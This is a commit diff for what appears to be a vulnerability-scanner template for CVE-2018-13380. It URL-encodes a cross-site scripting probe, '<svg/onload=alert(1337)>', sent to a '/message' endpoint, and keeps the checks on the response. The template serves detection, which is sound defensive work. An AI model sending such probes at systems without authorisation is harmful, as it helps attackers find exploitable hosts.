Update CVE-2018-13380.yaml

now browsers automatically, encodes <, > characters.
patch-1
VIPIN BIHARI 2021-02-17 20:14:40 +05:30 committed by GitHub
parent 428af94729
commit cc98318db2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 2 deletions

View File

@ -12,7 +12,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/message?title=x&msg=%26%23<svg/onload=alert(1337)>"
- "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E"
matchers-condition: and
matchers:
@ -29,4 +29,4 @@ requests:
- type: status
status:
- 200
- 200